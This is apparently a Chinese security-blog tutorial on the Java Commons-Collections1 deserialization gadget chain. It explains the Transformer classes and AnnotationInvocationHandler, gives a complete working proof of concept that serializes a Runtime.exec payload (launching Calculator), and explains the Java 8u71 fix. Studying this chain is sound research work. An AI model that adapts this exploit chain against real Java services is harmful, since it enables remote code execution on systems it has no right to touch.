Java反序列化漏洞-CommonsCollections1利用链
2025-07-25 12:20:51 # Web安全

前言

之前学习反序列化漏洞,全是参考网上的乱七八糟的文章,然后我觉得反序列化漏洞是非常难的一部分内容。今天我看了phith0n师傅写的文章[1],我觉得写的非常棒。本文章的内容几乎均来自phith0n师傅,部分加了一些自己理解的部分。文章里面还有一些感想,这里给大家分享一下。

学习方式的探索⭐️⭐️⭐️

有时候想要学习⼀个东⻄,网上搜索⼀下,发现有教程,于是跟着做⼀遍。这样⼀来,你会发现网上大部分Java反序列化”教程”、“⼊门”通常上来先了解Java反序列化是什么,然后很快开始讲CommonsCollections ,就好像刚知道C语言语法的同学⽴马继续学习Linux内核,我是⼗分不建议这样做的,除⾮你有非常强的理解能⼒。

学习需要聪明⼀点,并独⽴思考问题。我很少参照别⼈的文章来学习,这样你学的东⻄是⼆手的,有时候连⼆手都不是,⽂章原作者也可能是参考另一篇⽂章写的。

我的建议是从⽂档和源码开始学,实在有压⼒可以参考⼀些⻛评较好的书籍或技术博客。

当然,有时候你并不知道怎样是对的怎样是错的。⽐如你作为⼀个Java反序列化漏洞的初学者,你并不知道应该先学习URLDNS还是CommonsCollections ,也许你连URLDNS的名字都没听过,而你看到⽹上⼤部分文章都是介绍CommonsCollections的,⾃然也就去学习这个了。

所以有些弯路确实是避免不了的,不过如果你在学习的道路上更加富有探索精神,看到ysoserial这种项⽬时多问问⾃己“其他的Gadget是做什么的”,对于未知的事物原理充满好奇喜欢翻翻源码,应该是可以少⾛⼀些弯路的。

简化版CC1链Demo

这里先给出phith0n师傅独创的简化版CommonsCollections1利用链[2],如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.x2n.deserialization;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
outerMap.put("xxx","tttt");
}
}

运行上述的代码发现可以成功弹出计算器。

image-20250724103045476

下面介绍一下整个过程中涉及的几个接口和类。

TransformedMap

TransformedMap用于对Java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调。我们通过下面这行代码对innerMap进行修饰,传出的outerMap即是修饰后的Map

1
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);

其中,keyTransformer是处理新元素的key的回调,valueTransformer是处理新元素的value的回调。我们这里所说的“回调”,并不是传统意义上的一个回调函数,而是一个实现了Transformer接口的类。

Transformer

Transformer是一个接口,它只有一个待实现的方法:

1
2
3
public interface Transformer {
public Object transform(Object input);
}

TransformedMap在转换Map的新元素时,就会调用transform方法,这个过程就类似在调用一个“回调函数”,这个回调的参数是原始对象(Object对象)。

ConstantTransformer

ConstantTransformer是实现了Transformer接口的一个,它的过程就是在构造函数的时候传入一个对象,并在transform方法将这个对象再返回。

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}

所以它的作用其实就是包装任意一个对象,在执行回调时返回这个对象,进而方便后续操作。

InvokerTransformer

InvokerTransformer是实现了Transformer接口的一个,这个类可以用来执行任意方法,这也是反序列化能执行任意代码的关键

在实例化这个InvokerTransformer时,需要传入三个参数:

  • 第一个参数就是待执行的方法名

  • 第二个参数是这个函数的参数列表的参数类型

  • 第三个参数是传给这个函数的参数列表

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

后面的回调transform方法,就是执行了input对象的iMethodName方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}

ChainedTransformer

ChainedTransformer也是实现了Transformer接口的一个类,它的作用是将内部的多个Transformer串在一起。通俗来说就是,前一个回调返回的结果,作为后一个回调的参数传入,示意图如下:

image-20250724120106780

它的代码也比较简单,如下:

1
2
3
4
5
6
7
8
9
10
11
12
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

理解简化版Demo

了解了前面的几个Transformer的意义以后,再回头看一看我们的demo的代码,这就比较好理解了。

先看前两段代码:

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

创建了一个ChainedTransformer对象,根据前面说的,ChainedTransformer的作用是将内部的多个Transformer串在一起。ChainedTransformer需要的参数是Transformer[],我们创建了Transformer[],其中包含了两个Transformer

  • 第一个是ConstantTransformer,直接返回当前环境的Runtime对象;
  • 第二个是InvokerTransformer,执行Runtime对象的exec方法,参数是/System/Applications/Calculator.app/Contents/MacOS/Calculator

这个transformerChain只是一系列回调,我们需要用其来包装innerMap,使用前面说到的TransformedMap.decorate

1
2
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);

最后,怎么触发回调呢?就是向Map中放入一个新的元素:

1
outerMap.put("xxx","tttt");

上面的代码执行demo,它只是一个用来在本地测试的类。在实际反序列化漏洞中,我们需要将上面最终生成的outerMap对象变成一个序列化流。

用TransformedMap编写真正的POC[3]

前面我们说到了CommonsCollections1的简化版的demo,但离一个真正可利用的POC还有很大的距离,现在我们着手对其进行修改。

AnnotationInvocationHandler

我们前面说过,触发这个漏洞的核心,在于我们需要向Map中加入一个新的元素。在demo中,我们可以手工执行outerMap.put("xxx","tttt");来触发漏洞,但在实际反序列化时,我们需要找到一个类,它在反序列化的readObjection逻辑里有类似的写入操作。

这个类就是sun.reflect.annotation.AnnotationInvocationHandler,我们查看它的readObject方法(这是8u71以前的代码,8u71以后做了一些修改,这个后面会说):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type inannotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));
}
}
}
}

核心逻辑就是Map.Entry<String, Object> memberValue : memberValues.entrySet() memberValue.setValue(...)

memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,进而执行我们为其精心设计的任意代码。

所以,我们构造POC的时候,就需要创建一个AnnotationInvocationHandler对象,并将前面构造的HashMap设置进来:

1
2
3
4
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

这里因为sun.reflect.annotation.AnnotationInvocationHandler是在JDK内部的类,不能直接使用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化了。

AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是参数就是前面构造的Map。

这里大家可以思考一下:什么是Annotation类?为什么我这里需要使用Retention.class?

为什么需要使用反射?

上一小节我们构造了一个AnnotationInvocationHandler对象,它就是我们反序列化利用链的起点了。我

们通过如下代码将这个对象生成序列化流:

1
2
3
4
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

我将这几段代码拼接到demo代码的后面,组成一个完整的POC。

我们试着运行这个POC,看看能否生成序列化数据流:

image-20250724183454073

运行代码发现报错了,在writeObject的时候出现异常了: java.io.NotSerializableException: java.lang.Runtime

原因是,Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable接口。而我们最早传给ConstantTransformer的是Runtime.getRuntime(),Runtime类是没有实现java.io.Serializable接口的,所以不允许被序列化。

那么,如何避免这个错误呢?我们可以变通一下,看前面p牛的《Java安全漫谈 - 反射篇》[4]的同学应该知道,我们可以通过反射来获取到当前上下文中的Runtime对象,而不需要直接使用这个类。

1
2
3
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

转换成Transformer的写法就是如下:

1
2
3
4
5
6
7
8
9
10
11
12
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},
new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
)
};

其实和demo最大的区别就是将Runtime.getRuntime()换成了Runtime.class,前者是一个java.lang.Runtime对象,后者是一个java.lang.Class对象。Class类有实现Serializable接口,所以可以被序列化。

为什么仍然无法触发漏洞?

修改Transformer数组后再次运行,发现这次没有报错异常,而且输出了序列化后的数据流,但是反序列化时仍然没弹出计算器,这是为什么?

image-20250724210425458

这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现,在AnnotationInvocationHandler:readObject的逻辑中,有一个if语句对var7进行判断,只有在其不是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞。

断点调试代码:

image-20250724212216206

那么如何让这个var7不为null呢?这一块我就不详细分析了,还会涉及到Java注释相关的技术。直接给出两个条件:

  1. sun.reflect.annotation.AnnotationInvocationHandler构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X

  2. TransformedMap.decorate修饰的Map中必须有一个键名为X的元素。

所以,这样就解释了为什么我前面用到Retention.class,因为Retention有一个方法,名为value,所以,为了再满足第二个条件,我需要给Map中放入一个key是value的元素[5]

1
innerMap.put("value", "xxxx")

成功弹出计算器。

image-20250724214926666

为什么Java高版本无法利用?

已经成功弹出计算器了,但拿着这串序列化流,跑到服务器上进行反序列化时就会发现,又无法成功执行命令了。这又是为什么呢?

前文说了,我们是在Java 8u71以前的版本上进行测试的,我使用的Java版本为8u65,在8u71以后大概是2015年12月的时候,Java官方修改了sun.reflect.annotation.AnnotationInvocationHandlerreadObject函数:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

image-20250724215655957

对于这次修改,有些文章说是因为没有了setValue,其实原因和setValue关系不大。改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行setput操作,也就不会触发RCE了。

总结

我们将给出的demo扩展成为了一个真实可利用的POC,完整的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.x2n.deserialization;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},
new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
)
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();

innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constrctor = clazz.getDeclaredConstructor(Class.class, Map.class);
constrctor.setAccessible(true);
Object obj = constrctor.newInstance(Retention.class,outerMap);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();

}
}

但是这个Payload有一定局限性,在Java 8u71以后的版本中,由于sun.reflect.annotation.AnnotationInvocationHandler发生了变化导致不再可用,原因前文也说了。我们查看ysoserial的代码,发现它没有用到我demo中的TransformedMap,而是改用了LazyMap。有的同学包括我,之前以为这就是在解决CommonCollections1这个利用链在高版本Java中不可用的问题,其实不然,即使使用LazyMap仍然无法在高版本的Java中使用这条利用链,主要原因还是出在sun.reflect.annotation.AnnotationInvocationHandler这个类的修改上,不过本篇文章先不讲了。

下一篇文章,再给大家分析如何破局。

参考


  1. https://wx.zsxq.com/group/2212251881/topic/548242484442524 ↩︎

  2. https://wx.zsxq.com/group/2212251881/topic/548841448822424 ↩︎

  3. https://wx.zsxq.com/group/2212251881/topic/548841845514184 ↩︎

  4. https://wx.zsxq.com/group/2212251881/topic/844142852851442 ↩︎

  5. https://scz.617.cn/network/202003241127.txt ↩︎